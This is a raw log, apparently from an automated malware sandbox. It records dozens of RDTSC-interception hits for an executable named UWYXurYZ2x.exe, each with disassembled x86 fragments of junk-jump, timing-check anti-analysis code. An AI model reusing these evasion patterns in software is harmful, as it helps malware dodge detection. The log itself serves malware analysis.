Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5120E42 second address: 5120E65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC4DCC8C6CAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5120E65 second address: 5120E9B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC4DCD0E312h 0x00000008 or eax, 1D08A338h 0x0000000e jmp 00007FC4DCD0E30Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 mov cx, di 0x0000001a pop edi 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5120E9B second address: 5120EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5120EA1 second address: 5120EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5120EA6 second address: 5120EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FC4DCC8C6D8h 0x0000000f xor ax, 47F8h 0x00000014 jmp 00007FC4DCC8C6CBh 0x00000019 popfd 0x0000001a mov ax, 292Fh 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov cx, C37Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110DC5 second address: 5110DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110DC9 second address: 5110DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110DCF second address: 5110DD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110DD4 second address: 5110E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6D0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f jmp 00007FC4DCC8C6D0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110E06 second address: 5110E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110E0A second address: 5110E27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51509BA second address: 51509D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, dx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51509D1 second address: 51509D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51509D7 second address: 51509DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0156 second address: 50F0186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov si, A5B3h 0x00000010 mov ebx, ecx 0x00000012 popad 0x00000013 push dword ptr [ebp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0186 second address: 50F018A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F018A second address: 50F0190 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F0190 second address: 50F01A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCD0E315h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 50F01A9 second address: 50F01AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110B57 second address: 5110B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110630 second address: 511068D instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ebx, ecx 0x0000000c pushfd 0x0000000d jmp 00007FC4DCC8C6CCh 0x00000012 adc eax, 6F7DA0C8h 0x00000018 jmp 00007FC4DCC8C6CBh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 pushad 0x00000022 push ecx 0x00000023 pop edi 0x00000024 mov dh, ah 0x00000026 popad 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov esi, 1513377Dh 0x00000032 pushfd 0x00000033 jmp 00007FC4DCC8C6CAh 0x00000038 sbb ecx, 4C4FA658h 0x0000003e jmp 00007FC4DCC8C6CBh 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 511068D second address: 51106E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC4DCD0E30Fh 0x00000009 jmp 00007FC4DCD0E313h 0x0000000e popfd 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push esi 0x0000001a pop edx 0x0000001b pushfd 0x0000001c jmp 00007FC4DCD0E318h 0x00000021 and cl, 00000048h 0x00000024 jmp 00007FC4DCD0E30Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51106E9 second address: 51106EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51106EF second address: 51106F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 511021D second address: 5110239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110239 second address: 511024B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCD0E30Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 511024B second address: 5110274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC4DCC8C6D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110274 second address: 5110298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC4DCD0E30Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5110298 second address: 51102DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx eax, dx 0x0000000e mov eax, edi 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 jmp 00007FC4DCC8C6D3h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC4DCC8C6D5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51102DC second address: 51102E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51102E2 second address: 51102E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51102E6 second address: 51102EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 512010D second address: 512016C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC4DCC8C6CEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov bh, 84h 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 jmp 00007FC4DCC8C6D2h 0x0000001b movzx eax, di 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007FC4DCC8C6CDh 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 512016C second address: 5120170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5120170 second address: 5120174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5120174 second address: 512017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 513027C second address: 5130282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130282 second address: 5130286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130286 second address: 51302B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FC4DCC8C6D2h 0x00000014 mov ch, BAh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51302B0 second address: 513030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FC4DCD0E312h 0x00000010 mov ebp, esp 0x00000012 jmp 00007FC4DCD0E310h 0x00000017 mov eax, dword ptr [ebp+08h] 0x0000001a jmp 00007FC4DCD0E310h 0x0000001f and dword ptr [eax], 00000000h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FC4DCD0E317h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 513030E second address: 5130314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130314 second address: 5130318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130318 second address: 5130342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c jmp 00007FC4DCC8C6D7h 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130342 second address: 5130346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130346 second address: 513034C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 511046D second address: 51104D9 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, 62138473h 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FC4DCD0E314h 0x00000015 add cx, 2F78h 0x0000001a jmp 00007FC4DCD0E30Bh 0x0000001f popfd 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FC4DCD0E316h 0x00000027 sbb ecx, 595AC9D8h 0x0000002d jmp 00007FC4DCD0E30Bh 0x00000032 popfd 0x00000033 push esi 0x00000034 pop edi 0x00000035 popad 0x00000036 popad 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b mov ebx, 2E45FDB4h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130159 second address: 5130169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCC8C6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5130169 second address: 513017E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC4DCD0E30Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150022 second address: 5150051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov edx, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FC4DCC8C6D2h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC4DCC8C6CEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150051 second address: 5150063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCD0E30Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150063 second address: 5150067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150067 second address: 5150073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150073 second address: 5150133 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC4DCC8C6CFh 0x00000008 xor al, 0000005Eh 0x0000000b jmp 00007FC4DCC8C6D9h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jmp 00007FC4DCC8C6D0h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FC4DCC8C6CEh 0x00000022 adc si, EC88h 0x00000027 jmp 00007FC4DCC8C6CBh 0x0000002c popfd 0x0000002d pushad 0x0000002e jmp 00007FC4DCC8C6D6h 0x00000033 push esi 0x00000034 pop ebx 0x00000035 popad 0x00000036 popad 0x00000037 xchg eax, ecx 0x00000038 pushad 0x00000039 mov si, 4739h 0x0000003d pushfd 0x0000003e jmp 00007FC4DCC8C6D6h 0x00000043 or esi, 01876148h 0x00000049 jmp 00007FC4DCC8C6CBh 0x0000004e popfd 0x0000004f popad 0x00000050 push eax 0x00000051 pushad 0x00000052 pushad 0x00000053 mov edx, 5479AC78h 0x00000058 mov di, 1824h 0x0000005c popad 0x0000005d push edi 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150133 second address: 5150140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 xchg eax, ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150140 second address: 5150144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150144 second address: 515014A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 515014A second address: 5150150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150150 second address: 51501D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [778165FCh] 0x0000000d pushad 0x0000000e jmp 00007FC4DCD0E30Dh 0x00000013 call 00007FC4DCD0E310h 0x00000018 call 00007FC4DCD0E312h 0x0000001d pop eax 0x0000001e pop edi 0x0000001f popad 0x00000020 test eax, eax 0x00000022 jmp 00007FC4DCD0E30Eh 0x00000027 je 00007FC54F351ACCh 0x0000002d jmp 00007FC4DCD0E310h 0x00000032 mov ecx, eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FC4DCD0E317h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51501D1 second address: 51501E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 081Ah 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor eax, dword ptr [ebp+08h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov ax, 421Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51501E7 second address: 5150258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FC4DCD0E310h 0x0000000c xor ax, 3F88h 0x00000011 jmp 00007FC4DCD0E30Bh 0x00000016 popfd 0x00000017 popad 0x00000018 and ecx, 1Fh 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FC4DCD0E314h 0x00000022 sub ax, 21E8h 0x00000027 jmp 00007FC4DCD0E30Bh 0x0000002c popfd 0x0000002d mov dx, cx 0x00000030 popad 0x00000031 ror eax, cl 0x00000033 jmp 00007FC4DCD0E312h 0x00000038 leave 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150258 second address: 515025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 515025E second address: 5150263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150263 second address: 51502EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC4DCC8C6D4h 0x00000009 jmp 00007FC4DCC8C6D5h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 retn 0004h 0x00000015 nop 0x00000016 mov esi, eax 0x00000018 lea eax, dword ptr [ebp-08h] 0x0000001b xor esi, dword ptr [00542014h] 0x00000021 push eax 0x00000022 push eax 0x00000023 push eax 0x00000024 lea eax, dword ptr [ebp-10h] 0x00000027 push eax 0x00000028 call 00007FC4E18DC89Dh 0x0000002d push FFFFFFFEh 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FC4DCC8C6D3h 0x00000036 xor ecx, 7EAF1C9Eh 0x0000003c jmp 00007FC4DCC8C6D9h 0x00000041 popfd 0x00000042 movzx eax, dx 0x00000045 popad 0x00000046 pop eax 0x00000047 pushad 0x00000048 call 00007FC4DCC8C6D9h 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 51502EF second address: 5150327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 ret 0x00000007 nop 0x00000008 push eax 0x00000009 call 00007FC4E195E535h 0x0000000e mov edi, edi 0x00000010 jmp 00007FC4DCD0E319h 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FC4DCD0E30Eh 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150327 second address: 515032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 515032B second address: 5150331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150331 second address: 5150359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC4DCC8C6D0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5150359 second address: 515035F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 515035F second address: 515038A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 mov ax, B4DFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007FC4DCC8C6D7h 0x00000016 push esi 0x00000017 pop ebx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100013 second address: 5100019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100019 second address: 5100083 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC4DCC8C6CBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FC4DCC8C6D6h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FC4DCC8C6CEh 0x0000001e or ch, 00000018h 0x00000021 jmp 00007FC4DCC8C6CBh 0x00000026 popfd 0x00000027 push esi 0x00000028 push edx 0x00000029 pop esi 0x0000002a pop edi 0x0000002b popad 0x0000002c and esp, FFFFFFF8h 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100083 second address: 5100087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 5100087 second address: 510008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 510008B second address: 5100091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
